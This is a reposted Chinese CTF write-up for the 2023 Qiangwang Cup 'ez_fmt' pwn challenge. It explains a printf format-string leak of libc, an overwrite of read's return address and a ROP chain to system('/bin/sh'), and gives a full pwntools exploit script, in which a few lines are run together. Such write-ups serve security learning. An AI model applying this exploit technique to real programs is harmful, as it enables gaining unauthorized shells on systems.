2023-强网杯-【强网先锋-ez_fmt】

2023-12-23 15:12
文章标签 2023 fmt 强网杯 ez 先锋 强网

本文主要是介绍2023-强网杯-【强网先锋-ez_fmt】,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • ez_fmt libc-2.31.so
    • 检查
    • main
    • 思路
    • exp

参考链接

ez_fmt libc-2.31.so

检查

没有地址随机化
在这里插入图片描述

main

在这里插入图片描述
简单粗暴的printf格式化字符串漏洞

思路

泄露地址,覆盖返回地址形成ROP链
printf执行时栈上存在__libc_start_main+243的指令的地址,可以泄露地址进而得到libc基地址
关于覆盖返回地址,我们可以修改main的返回地址或者printf的返回地址
如果修改main的返回地址,但提供的允许输入的格式化字符串长度可能不够
那修改printf的返回地址,然后计算出libc基地址和system的地址,然后再执行原来的read和printf的格式化字符串漏洞,此时修改printf的返回地址为system的地址,但此时发现system的地址如果要修改所需要的字符串数可能不够
在这里插入图片描述
此时相当与要把0x4012ce修改为0x7f7569415000,此时光是地址参数就能塞爆运行输入的长度了,所以修改printf的返回地址为全新的一个肯定不行,但只修改部分又没用
所以。。。。。
不如修改read的返回地址,此时由于read输入的buf的位置没变,但调用之前将要push的返回地址永远是在当前栈顶-8的位置,那么如果buf的位置在当前调用之前的栈顶的上面的,就可以实现修改read返回地址,由于此时是输入性质的,那么可以大改特改read的返回地址

main函数的下面就是libc_init_csu,我们可以利用pop指令取将栈顶的位置降低,从而使得read的返回地址在buf的范围内
由于格式化字符串中写入和输出libc_start_main的参数就占了16个字节,而剩下部分还有返回read的地址和控制pop的返回地址
而为了使得read的返回地址在buf的范围内。那么要使得pop后栈顶依然在buf的范围内,另一方面要使得pop后ret能够成功跳转回read函数,所以至少得两个pop,从libc_ini_csu选择即可
此时先跳转到pop再跳转回read,不然反过来read的返回地址不在buf的范围内
在这里插入图片描述
read的指令
在这里插入图片描述
此时read的地址是在pop后面的,在栈上相应位置,而修改printf的返回地址为pop的地址只需修改低位字节即可
泄露libc_start_main+243的位置此时对应19个参数,printf后可以计算得到libc基地址
在这里插入图片描述
read输入此时向返回地址构造rop链即可
使用ROPgadget找到合适的pop rdi; ret 然后利用libc.search(b"/bin/sh")找到参数的地址,最后调用system即可

exp

from pwn import *
libc=ELF("./libc-2.31.so")
f=process("./ez_fmt")
context(os="linux",arch="amd64",log_level="debug")
gdb.attach(f,"b main")
f.recvuntil(b"There is a gift for you ")
stack_buf=int(f.recvuntil(b"\n",drop=True),16)
print(p64(stack_buf-8))
payload=flat({0:"%{}c%9$hhn%19$p".format(0xd0) ,0x10: p64(0x0000000000401205)+p64(stack_buf-8)}
)
f.sendline(payload)
f.recvuntil(b"0x")
libc_start_main_243=int(f.recv(12),16)
libc_base=libc_start_main_243-243-libc.sym["__libc_start_main"]print(hex(libc_base))
print(hex(libc.search(b"/bin/sh").__next__()))
pop_rdi_ret=p64(0x00000000004012d3)
print(len(payload))
payload=flat({0x10:pop_rdi_ret+p64(libc_base+libc.search(b"/bin/sh\x00").__next__()),#注意search()是括号0x20:p64(libc_base+libc.sym["system"])}
) # 0x10前面的部分会自动随机填充
print(len(payload))
print(payload)
f.sendline(payload)f.interactive()

这篇关于2023-强网杯-【强网先锋-ez_fmt】的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/528476

相关文章

CSP 2023 提高级第一轮 CSP-S 2023初试题 完善程序第二题解析 未完

一、题目阅读 (最大值之和)给定整数序列 a0,⋯,an−1,求该序列所有非空连续子序列的最大值之和。上述参数满足 1≤n≤105 和 1≤ai≤108。 一个序列的非空连续子序列可以用两个下标 ll 和 rr(其中0≤l≤r<n0≤l≤r<n)表示,对应的序列为 al,al+1,⋯,ar​。两个非空连续子序列不同,当且仅当下标不同。 例如,当原序列为 [1,2,1,2] 时,要计算子序列 [

HNU-2023电路与电子学-实验3

写在前面: 一、实验目的 1.了解简易模型机的内部结构和工作原理。 2.分析模型机的功能,设计 8 重 3-1 多路复用器。 3.分析模型机的功能,设计 8 重 2-1 多路复用器。 4.分析模型机的工作原理,设计模型机控制信号产生逻辑。 二、实验内容 1.用 VERILOG 语言设计模型机的 8 重 3-1 多路复用器; 2.用 VERILOG 语言设计模型机的 8 重 2-1 多

2023 CCPC(秦皇岛)现场(第二届环球杯.第 2 阶段:秦皇岛)部分题解

所有题目链接:Dashboard - The 2023 CCPC (Qinhuangdao) Onsite (The 2nd Universal Cup. Stage 9: Qinhuangdao) - Codeforces 中文题面: contest-37054-zh.pdf (codeforces.com) G. Path 链接: Problem - G - Codeforces

HNU-2023电路与电子学-实验1

写在前面: 这是电路与电子学课程的第一次实验,按照指导书的需求在Multisim软件搭建一个电路传感器模型,难度较小,细心完成就没有问题。 小tips:22级实验是采用上传到测试平台来进行功能检测,如果不通过则会打回修改后再重新提交,(我们那时候的评测系统特别特别慢,一次只能测一个同学,剩下同学就排队等着,久的时候甚至超过10个小时),这里列举一个常见的错误:热噪声有+号这端需要连接有源滤波器

孙宇晨:区块链领域的时代先锋,每一步引领未来趋势

​孙宇晨,这位在区块链领域崭露头角的青年企业家,凭借着敏锐的洞察力和坚定的决心,成为了数字经济时代的领航者。他的每一步,都走在技术创新的最前沿,推动着区块链技术的发展与应用,给全球经济带来了深远的影响。 从创业初期到现在,孙宇晨始终紧跟时代脉搏,勇敢地探索未知的领域。他对区块链技术的热情源于他对去中心化理念的深刻理解和认同。在区块链技术还处于初期发展阶段时,孙宇晨便看到了它将如何改变世界。区

【python】—— Python爬虫实战:爬取珠海市2011-2023年天气数据并保存为CSV文件

目录 目标 准备工作 爬取数据的开始时间和结束时间 爬取数据并解析 将数据转换为DataFrame并保存为CSV文件         本文将介绍如何使用Python编写一个简单的爬虫程序,以爬取珠海市2011年至2023年的天气数据,并将这些数据保存为CSV文件。我们将涉及到以下知识点: 使用requests库发送HTTP请求使用lxml库解析HTML文档使用dateti

Acrobat Pro DC 2023 for Mac/Win:全能型PDF编辑器深度解析

Adobe Acrobat Pro DC 2023作为一款跨平台的PDF编辑器,无论是对于Mac还是Windows用户,都提供了极为全面且强大的PDF处理功能。该软件凭借其卓越的性能和丰富的特性,成为了全球范围内用户处理PDF文档的首选工具。 一、强大的编辑功能 Acrobat Pro DC 2023内置了多种编辑工具,如文本编辑器、图片替换、页面调整等,使用户能够轻松地对PDF文档进行修改和

【行业报告】2023年消除类手游全球市场洞察

​更多消除内容: 长线消除游戏商业化设计案例:《梦幻花园》 - 游戏干饭之家 谈谈《开心消消乐》是如何做游戏商业化活动 - 游戏干饭之家 消除游戏展现了从简单的游戏玩法到复杂的社交互动,再到精细化运营的发展历程,其通过不断的创新和适应现代游戏的市场变化,依然活跃在市场的前沿 一、消除游戏分类定义 二、消除手游市场现状分析 消除手游近两年下载量增速表现优于整体手游表现,下

【数据分享】2000—2023年我国省市县三级逐月归一化植被指数(NDVI)数据(Shp/Excel格式)

之前我们分享过2000—2023年逐月归一化植被指数(NDVI)栅格数据(可查看之前的文章获悉详情),该数据来源于NASA定期发布的MOD13A3数据集!很多小伙伴拿到数据后反馈栅格数据不太方便使用,问我们能不能把数据处理为更方便使用的Shp和Excel格式的数据! 我们特地对数值在-0.2—1之间的NDVI栅格数据进行了处理,将2000-2023年逐月的归一化植被指数栅格分别按照我国省级行政边

Update Azure OpenAI npm Package to 2023-12-01-preview Version

题意:将 Azure OpenAI npm 包更新到 2023-12-01-preview 版本 问题背景: I am currently using the azure-openai npm package in my project with version 2023-03-15-preview. As per the latest updates, version 2023-12